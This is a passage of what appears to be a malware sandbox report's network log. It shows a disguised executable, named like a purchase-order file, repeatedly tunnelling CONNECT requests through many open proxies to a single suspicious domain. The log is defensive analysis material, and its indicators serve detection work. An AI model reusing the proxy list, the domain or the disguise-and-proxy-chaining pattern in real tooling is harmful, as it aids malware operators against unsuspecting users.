Mar 11, 2024 16:42:28.681804895 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 16:42:30.871825933 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.11	54998	162.241.46.6	60708	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.032871962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.11	55111	103.127.1.130	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.056539059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.11	54986	47.243.114.192	8180	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.068149090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.370410919 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:42:28 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.11	55115	68.71.249.153	48606	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.142848969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.11	51466	47.243.177.210	8088	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.143745899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.188771009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.282780886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:44.464586020 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 11 Mar 2024 15:42:34 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.11	54094	82.223.121.72	64871	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.148353100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.11	55034	166.62.38.100	2453	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.182600975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.688855886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.376523972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.501456976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:32.688797951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.876399040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.985657930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.11	51733	23.94.214.8	9054	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.185846090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.363270044 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.11	54025	27.219.56.183	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.187746048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.877370119 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.11	54984	51.161.131.84	58612	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.203407049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.11	54079	37.32.23.217	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.263552904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.329483986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329663992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.329621077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.449320078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.485349894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.610341072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:40.610306978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1677	192.168.2.11	54108	163.172.144.132	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.264446020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.329251051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329668999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.329581022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.449322939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.485429049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.610316038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:40.610310078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:28.797724962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1678	192.168.2.11	51771	162.214.225.223	55029	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.264940023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.329319000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329668045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.329622030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1679	192.168.2.11	55047	94.154.152.9	8079	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.310087919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.329473019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.329651117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:37.254348993 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1680	192.168.2.11	55055	51.15.252.246	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.327362061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.376204967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:34.485863924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:40.485881090 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:52.579073906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:04.579108000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:16.579071999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:40.579097033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1681	192.168.2.11	55049	51.75.126.150	35632	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.336024046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1682	192.168.2.11	54959	117.160.250.131	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:28.340739965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.673110962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.322345018 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:30 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1683	192.168.2.11	55117	94.177.106.178	2324	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

